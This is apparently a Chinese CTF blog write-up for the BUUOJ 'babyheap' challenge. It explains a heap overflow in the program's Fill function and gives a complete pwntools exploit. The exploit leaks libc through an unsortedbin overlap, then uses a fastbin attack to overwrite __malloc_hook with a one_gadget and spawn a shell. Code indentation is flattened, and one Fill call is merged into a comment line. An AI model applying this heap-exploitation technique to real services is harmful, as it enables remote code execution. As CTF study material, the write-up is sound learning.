共计 2974 个字符,预计需要花费 8 分钟才能阅读完成。
提醒:本文最后更新于 2024-08-30 14:52,文中所关联的信息可能已发生改变,请知悉!
第一次遇到堆题,堆的知识从头开始学起,花了很久,终于把每一步都搞懂了
checksec
IDA
为了方便审阅代码,修改了部分函数名和变量名
从 main
函数看,这是一种很经典的类似于“笔记管理系统”的堆题
Init
函数用 mmap
进行了虚拟内存映射,并返回基址
get_num
函数调用了 get_string
函数,作用是获得一个数字
在 switch
下是四个函数和一个return 0
,下面一个一个分析:
Allocate
函数使用数组的方法指向结构体来存储每个 chunck 的信息,结构体内的信息包括了chunck_in_use
、chunck_len
、chunck_addr
Fill
函数承担写入 chunck 的作用,而最大的漏洞就出在这里,因为 Fill
函数的写入长度是由用户自行决定的,且没有检查 chunck 的大小,所以会造成溢出
Free
函数用于释放 chunck
Dump
函数用于打印 chunck 中的内容
思路
leak libc(unsoredbin attack)
getshell(fastbin attack)
EXP
from pwn import *
def Allocate(io, size):
io.sendlineafter('Command: ', '1')
io.sendlineafter('Size: ', str(size))
def Fill(io, index, content):
io.sendlineafter('Command: ', '2')
io.sendlineafter('Index: ', str(index))
io.sendlineafter('Size: ', str(len(content)))
io.sendlineafter('Content: ', content)
def Free(io, index):
io.sendlineafter('Command: ', '3')
io.sendlineafter('Index: ', str(index))
def Dump(io, index):
io.sendlineafter('Command: ', '4')
io.sendlineafter('Index: ', str(index))
io.recvuntil('Content: \n')
if __name__ == '__main__':
context.log_level = 'debug'
#p = process('./babyheap')
p = remote('node4.buuoj.cn', 28416)
libc = ELF('./../libc/ubuntu16/64/libc-2.23.so')
###############################
# unsortedbin attack 获取 libc #
###############################
Allocate(p, 0x80) #0
Allocate(p, 0x80) #1
Allocate(p, 0x80) #2
Allocate(p, 0x80) #3
# Free(1)使 chunck1 进入 unsortedbin
Free(p, 1)
# 0x80 覆盖完 chunck0
# 0x8 覆盖 chunck1 的 prev_size
# p64(0x120 + 1)改写 size,表示 chunck1 的可使用大小为 0x120,且上一 chunck 为 in_use
Fill(p, 0, b'a' * ( 0x80 + 8) + p64(0x80 + 0x10 + 0x80 + 0x10 + 1))
# 申请 0x80 + 0x10 + x80
# 刚好包括了 chunck2
Allocate(p, 0x80 + 0x10 + 0x80)
# 为 chunck2 改写 size
#(有一部分大小为 0x10 甚至溢出了原来的 chunck2,但没关系,chunck3 不会被用到,从而起到保护作用)Fill(p, 1, b'a' * ( 0x80 + 8) + p64(0x80 + 0x10 + 1))
# 通过释放内存,获得 fd 和 bk 指针
Free(p, 2)
# 打印,即可获得 fd 和 bk 的指针信息
# fd 指针会指向 main_arena + 0x58
Dump(p, 1)
p.recv(0x90 + 8)
fd_addr = u64(p.recv(8))
print('fd_addr: ', hex(fd_addr))
main_arena_addr = fd_addr - 0x58
print('main_arean_addr: ', hex(main_arena_addr))
# malloc_hook 的地址与 main_arena 相差 0x10
malloc_hook_addr = main_arena_addr - 0x10
print('malloc_hook_addr: ', hex(malloc_hook_addr))
libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
print('libc_base: ', hex(libc_base))
##################
# fastbin attack #
##################
Allocate(p, 0x80) #申请回 chunck2
Allocate(p, 0x60) #4
Allocate(p, 0x60) #5
# chunck5 进入 fastbin
Free(p, 5)
# 0x60 填满 chunck4 的可使用空间
# 0x8 覆盖 chunck5 的 prev_size
# p64(0x70 + 1)改写 chunck5 的 size
# p64(malloc_hook_addr - 0x23)改写 fd 指针,使其指向 malloc_hook 附近,堆管理器会认为这是下一个可已被分配的堆
# 且 malloc_hook_addr - 0x23 处,size 的位置为 7f(属于 fastbin 的大小)# p64(0)改写 bk 指针
Fill(p, 4, b'a' * (0x60 + 8) + p64(0x70 + 1) + p64(malloc_hook_addr - 0x23) + p64(0))
Allocate(p, 0x60) #5
Allocate(p, 0x60) #6
# one_gadget
execve_bin_sh_addr = libc_base + 0x4526a
# 0x13 覆盖 malloc_hook 之前的一段数据
# p64(execve_bin_sh_addr)改写 malloc_hook,让其指向 execve_bin_sh
Fill(p, 6, b'a' * 0x13 + p64(execve_bin_sh_addr))
# 让系统使用到 malloc 函数,从而调用到 malloc_hook,得到 shell
Allocate(p, 0x10)
p.interactive()
结果
正文完